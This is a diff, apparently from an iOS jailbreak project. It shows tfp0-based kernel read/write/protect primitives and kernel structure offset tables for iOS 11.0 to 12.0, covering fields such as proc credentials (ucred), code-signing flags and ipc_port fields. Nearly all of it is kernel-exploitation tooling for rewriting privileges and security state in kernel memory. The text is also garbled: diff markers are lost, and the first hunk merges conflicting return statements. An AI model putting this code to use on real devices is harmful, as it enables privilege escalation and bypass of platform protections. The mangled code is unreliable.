kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
#include <common.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
@@ -44,46 +43,31 @@ kern_return_t mach_vm_protect(
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
kern_return_t mach_vm_remap(
|
||||
mach_port_name_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mach_port_name_t src_task,
|
||||
mach_vm_address_t src_address,
|
||||
boolean_t copy,
|
||||
vm_prot_t *cur_protection,
|
||||
vm_prot_t *max_protection,
|
||||
vm_inherit_t inheritance);
|
||||
|
||||
extern size_t kreads;
|
||||
extern size_t kwrites;
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size);
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size);
|
||||
size_t kread(uint64_t where, void* p, size_t size);
|
||||
size_t kwrite(uint64_t where, const void* p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(kptr_t kaddr);
|
||||
uint64_t ReadKernel64(kptr_t kaddr);
|
||||
uint32_t ReadKernel32(uint64_t kaddr);
|
||||
uint64_t ReadKernel64(uint64_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val);
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val);
|
||||
void WriteKernel32(uint64_t kaddr, uint32_t val);
|
||||
void WriteKernel64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot);
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size);
|
||||
kptr_t kmem_alloc_wired(uint64_t size);
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size);
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
|
||||
@@ -1,342 +0,0 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "KernelOffsets.h"
|
||||
#include <common.h>
|
||||
#include "utils.h"
|
||||
|
||||
uint32_t* offsets = NULL;
|
||||
|
||||
uint32_t kernel_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_12_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
#if __arm64e__
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#else
|
||||
0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#else
|
||||
0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#else
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x400, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#else
|
||||
0x390, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#endif
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x60, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x10, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0xf8, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x3f8, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x50, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xe8, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x32, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x36, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset)
|
||||
{
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
LOG("kCFCoreFoundationVersionNumber: %f", kCFCoreFoundationVersionNumber);
|
||||
if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) {
|
||||
LOG("offsets selected for iOS 12.0 or above");
|
||||
offsets = kernel_offsets_12_0;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_3) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kernel_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_0) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kernel_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
offsets = NULL;
|
||||
}
|
||||
});
|
||||
if (offsets == NULL) {
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
@@ -1,9 +1,7 @@
|
||||
#ifndef KernelOffsets_h
|
||||
#define KernelOffsets_h
|
||||
|
||||
extern uint32_t* offsets;
|
||||
|
||||
enum kernel_offset {
|
||||
enum kstruct_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
@@ -16,7 +14,6 @@ enum kernel_offset {
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
|
||||
KSTRUCT_OFFSET_TASK_TFLAGS,
|
||||
KSTRUCT_OFFSET_TASK_LOCK,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
@@ -35,12 +32,6 @@ enum kernel_offset {
|
||||
KSTRUCT_OFFSET_PROC_TASK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED,
|
||||
KSTRUCT_OFFSET_PROC_P_LIST,
|
||||
KSTRUCT_OFFSET_PROC_P_CSFLAGS,
|
||||
KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE,
|
||||
KSTRUCT_OFFSET_PROC_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_SVUID,
|
||||
KSTRUCT_OFFSET_PROC_SVGID,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
@@ -65,60 +56,20 @@ enum kernel_offset {
|
||||
KSTRUCT_OFFSET_VNODE_V_MOUNT,
|
||||
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
|
||||
KSTRUCT_OFFSET_VNODE_V_LOCK,
|
||||
KSTRUCT_OFFSET_VNODE_V_DATA,
|
||||
|
||||
/* struct specinfo */
|
||||
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
|
||||
|
||||
/* struct mount */
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_DATA,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_MLOCK,
|
||||
|
||||
/* struct host */
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
/* struct ucred */
|
||||
KSTRUCT_OFFSET_UCRED_CR_UID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_NGROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GMUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_FLAGS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_LABEL,
|
||||
|
||||
/* struct label */
|
||||
KSTRUCT_OFFSET_LABEL_L_FLAGS,
|
||||
KSTRUCT_OFFSET_LABEL_L_PERPOLICY,
|
||||
|
||||
/* struct ipc_entry */
|
||||
KSTRUCT_SIZE_IPC_ENTRY,
|
||||
KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS,
|
||||
|
||||
/* vtable OSDictionary */
|
||||
KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_MERGE,
|
||||
|
||||
/* vtable OSArray */
|
||||
KVTABLE_OFFSET_OSARRAY_MERGE,
|
||||
KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT,
|
||||
KVTABLE_OFFSET_OSARRAY_GETOBJECT,
|
||||
|
||||
/* vtable OSObject */
|
||||
KVTABLE_OFFSET_OSOBJECT_RELEASE,
|
||||
KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT,
|
||||
KVTABLE_OFFSET_OSOBJECT_RETAIN,
|
||||
|
||||
/* vtable OSString */
|
||||
KVTABLE_OFFSET_OSSTRING_GETLENGTH,
|
||||
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset);
|
||||
int koffset(enum kstruct_offset offset);
|
||||
void offsets_init(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,145 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include <common.h>
|
||||
|
||||
int* offsets = NULL;
|
||||
|
||||
int kstruct_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
